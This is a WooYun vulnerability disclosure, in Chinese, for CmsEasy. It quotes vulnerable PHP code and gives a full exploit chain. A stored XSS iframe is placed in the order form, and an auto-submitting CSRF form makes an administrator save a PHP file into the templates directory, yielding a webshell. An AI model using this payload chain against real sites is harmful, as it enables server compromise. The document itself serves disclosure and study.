当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040347

漏洞标题:cmseasy xss+csrf getshell

相关厂商:cmseasy

漏洞作者: Chora

提交时间:2013-10-22 14:11

修复时间:2014-01-20 14:11

公开时间:2014-01-20 14:11

漏洞类型:CSRF

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-22: 细节已通知厂商并且等待厂商处理中
2013-10-22: 厂商已经确认,细节仅向厂商公开
2013-10-25: 细节向第三方安全合作伙伴开放
2013-12-16: 细节向核心白帽子及相关领域专家公开
2013-12-26: 细节向普通白帽子公开
2014-01-05: 细节向实习白帽子公开
2014-01-20: 细节向公众公开

简要描述:

第一次XSS处就给了你了。

详细说明:

lib/tool/front_class.php

function __construct() {
if(preg_match('/(\'|")/', $_POST['username']) || preg_match('/(\'|")/', $_GET['username']) || preg_match('/(\'|")/', $_COOKIE['login_username'])){
exit('非法参数');
......

if (!MAGIC_QUOTES_GPC) {
$_GET = daddslashes($_GET);
$_POST = daddslashes($_POST);
$_COOKIE = daddslashes($_COOKIE);
} //GPC=OFF才过滤跨站代码,为ON时不过滤.

$dfile = htmlspecialchars($_GET['dfile']);
foreach ($_GET as $key=>$value) {
unset($_GET[$key]);
if ($key == 'host'||$key == 'ftpip'||$key == 'request'||$key == 'notify_id'||$key == 'real_name') {
$_GET[$key]=$value;
continue;
}
$key=preg_replace('/[^\w-].*/','',$key);
if ($key == 'tag'||$key == 'keyword') {
$value=strip_tags(urldecode($value));
$value=str_replace(' ','+',$value);
if(preg_match('/union/i',$value) || preg_match('/"/i',$value) ||preg_match('/\'/i',$value)){
exit('非法参数');
}
}
else
$value=preg_replace('/[^\w-].*/','',$value);
$_GET[$key]=$value;
}

self::$get=$_GET;
self::$post=$_POST; //GET过滤的比较多,POST紧紧就过滤了单双引号。
self::$get['dfile'] = $dfile;
...... }


lib/default/archive_act.php

function orders_action() {
$this->view->aid = trim(front::get('aid'));
if (front::post('submit')) {
$this->orders = new orders();
$row = $this->orders->getrow("","adddate DESC");
//var_dump(time());
if($row['adddate'] && time() - $row['adddate'] <= intval(config::get('order_time'))){
alerterror('操作频繁,请稍后再试');
return;
}
if (front::$post['telphone'] == '') {
alerterror('联系电话为必填!');
return;
}
front::$post['mid'] = $this->view->user['userid'] ? $this->view->user['userid'] : 0;
front::$post['adddate'] = time();
front::$post['ip'] = front::ip();
if (isset(front::$post['aid'])) {
$aidarr = front::$post['aid'];
unset(front::$post['aid']);
foreach ($aidarr as $val) {
front::$post['aid'].=$val . ',';
front::$post['pnums'].=front::$post['thisnum'][$val] . ',';
}
} else {
front::$post['aid'] = $this->view->aid;
}
if (!isset(front::$post['logisticsid']))
front::$post['logisticsid'] = 0;
front::$post['oid'] = date('YmdHis') . '-' . front::$post['logisticsid'] . '-' . front::$post['mid'] . '-' . front::$post['payname'];

$insert = $this->orders->rec_insert(front::$post); //没过滤就直接插入数据库了。
......
}


访问http://localhost/index.php?case=archive&act=orders&aid=1
在单位名称里插入跨站代码<iframe src="http://localhost/add.html" width=0 height=0>

<body onload=document.f.submit()>
<form name="f" method="post" action="http://localhost/index.php?case=template&act=save&admin_dir=admin&site=default">
<input type="hidden" name="sid" value="test.php">
<input type="hidden" name="scontent" value="<?php phpinfo(); ?>">
</form>
</body>


lib/admin/template_admin.php

function save_action() {
$id = front::post('sid'); //文件名,sid=test.php,下面的替换都无影响
$tpl = str_replace('_d_','/',$id);
$tpl = str_replace('#','',$tpl);
$tpl = str_replace('_html','.html',$tpl);
$tpl = str_replace('_css','.css',$tpl);
$tpl = str_replace('_js','.js',$tpl);
$res = array();
$content = htmlspecialchars_decode(front::post('scontent'));//要保存的内容
$content = preg_replace('%<&#47textarea%','</textarea',$content);
......
}else {
if ($content) {
$content = stripslashes($content);
file_put_contents(TEMPLATE .'/'.config::get('template_dir') .'/'.$tpl,$content); //写入。
$res['message'] = 'ok';
}
}
echo $res['message'];
exit;
}


访问http://localhost/template/default/test.php

漏洞证明:

第一次XSS处就给了你了。

修复方案:

1.png

2.png

3.png

4.png

版权声明:转载请注明来源 Chora@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2013-10-22 17:02

厂商回复:

感谢

最新状态:

暂无


漏洞评价:

评论